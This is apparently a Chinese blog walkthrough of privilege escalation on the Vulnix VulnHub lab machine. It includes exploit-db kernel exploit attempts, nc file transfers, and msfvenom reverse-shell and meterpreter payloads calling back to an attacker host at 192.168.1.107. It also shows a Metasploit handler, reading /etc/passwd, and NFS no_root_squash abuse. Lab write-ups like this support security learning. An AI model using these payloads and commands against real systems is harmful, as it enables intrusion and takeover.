::: {.container}
::: {.post}
::: {.show-content}
续上篇:前景提要,通过smtp的信息泄露,用暴力枚举的方式,我们得到了一个ssh登陆普通用户权限的账号和密码。
根据以往的经验,提权可以通过linux内核的漏洞,然后运行对应的exploit,来进行提权。
uname -a
搜索exploit-db,有提权漏洞。https://www.exploit-db.com/exploits/18411/linux 3.2.0-29-generic-pae
gcc 不能用gcc编译exploit
The program 'gcc' can be found in the following packages:
* gcc
* pentium-builder
Ask your administrator to install one of them
因为目标靶机没有权限用gcc编译,所以尝试在kali上编译好了发送过来。
nc -lvp 666 < shell shell是编译好的可执行文件,在kali上监听
nc 192.168.1.107 666 > shell
连接攻击机的666端口,将文件保存为shellchmod +x shell
./shell
-bash: ./shell: cannot execute binary file
cannot execute binary
file:参考
那么,可能的原因是不是root,权限不过。要么是,版本不同,必须在目标靶机上编译才能运行。
尝试反弹一个shell给攻击机
攻击机:msfvenom -p linux/x86/shell_reverse_tcp -f elf
lhost=192.168.1.107 lport=1234 > /var/www/shell
nc -lvp 666 < /var/www/shell
靶机:nc 192.168.1.107 666 > exploit
chmod +x exploit
攻击机:msfconsole
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 192.168.1.107
set LPORT 1234
run
靶机:./exploit
我说怎么还是user权限,不是meterpreter.….原来生成的攻击载荷搞错了。ORZ
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
重新尝试:
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.1.107
LPORT=1234 X > /var/www/door
省略一些命令。。。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
em..?未知的命令.….所以meterpreter该怎么用。
ps 列出所有进程
migrate 1785 迁移到pid为1785的进程
[*] Migrating to 1785
[-] Error running command migrate: Rex::RuntimeError Unsupported
session x86/linux
getsystem
[-] Unknown command: getsystem.
据说:getsystem
大部分都会失败 他只尝试了4个Payload。
但是,就是失败,也不应该是unknown
command?怀疑我用的是假的meterpreter....….
第二次重新尝试:
查看payload需要的参数:
方法一:msfvenom -p linux/x86/meterpreter/reverse_tcp
--payload-options
Basic options:
Name Current Setting Required Description
LPORT 4444 yes The listen port
RHOST no The target address
方法二:use payload/linux/x86/meterpreter/reverse_tcp
show options
back
msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf
LHOST=192.168.1.107 LPORT=1234 X > /var/www/html/xxx
成功获取到了meterpreter。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
cat /etc/passwd
根据大于500的为用户账号,系统用户有
user:x:1000:1000:user,,,:/home/user:/bin/bash
vulnix:x:2008:2008::/home/vulnix:/bin/bash
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
background
search exploit/linux/local
meterpreter提权参考。陷入了困境,不知道运行什么样的exp才能获取到最高权限。
search cve:2012-0056
找到一个通过cve编号搜索的方法,但是msf没有对应的exp可用
2018.2.4更新。暂时先放一放meterpreter提权,在上一篇侦察中,获取到靶机开放了nfs服务,Network
File System,网络文件系统。用来共享文件。
2049/tcp open nfs_acl 2-3 (RPC #100227)
于是,需要用nfs客户端,apt-get install nfs-common。
**参考:http://www.phpfans.net/ask/answer1/3810159017.html
(root_squath )
**
**
http://blog.csdn.net/yesuhuangsi/article/details/66475053(ssh使用RSA公钥免密登录远程主机)**
https://www.jianshu.com/p/72e892ab8edf
(三步实现SSH无密码登录)**
**
** http://man.linuxde.net/nano (编辑器nano用法)**
将靶机root_squash,更改为no_root_squash.
no_root_squash:登入 NFS 主机使用分享目录的使用者,如果是 root
的话,那么对于这个分享的目录来说,他就具有 root
的权限!这个项目『极不安全』,不建议使用!root_squash:在登入 NFS 主机使用分享之目录的使用者如果是 root
时,那么这个使用者的权限将被压缩成为匿名使用者,通常他的 UID 与 GID
都会变成 nobody 那个系统账号的身份。
关于nfs共享目录的使用技巧,如果没有用过nfs服务,学习下。
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
显示远程服务器共享目录
:::
:::
将远程共享目录挂载到本地,/tmp/nfs
是本地的一个目录。如果没有该目录,可以用”mkdir /tmp/nfs”来新建。
mount -t nfs 192.168.1.113:/home/vulnix /tmp/nfs
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
**writup: http://www.abatchy.com/2016/10/walkthrough-vulnix-vulnhub-vm\
**
靶机重启后,有root权限,就可以用gcc编译exp了。
**cp /root/Desktop/shell.c .
**
**gcc shell.c -o shell
**
**chmod +x shell
**
**./shell
**
总结:
nfs网络文件系统以前根本没用过,,协议不是很熟悉,所以也不知道怎么利用。。
no_root_squash提权,就好比ftp协议的匿名用户读写权限吧,我是这么想的。。
简单邮件协议smtp配置不当会泄露用户名什么的,再利用ssh爆破真是骚操作。。
:::
:::
:::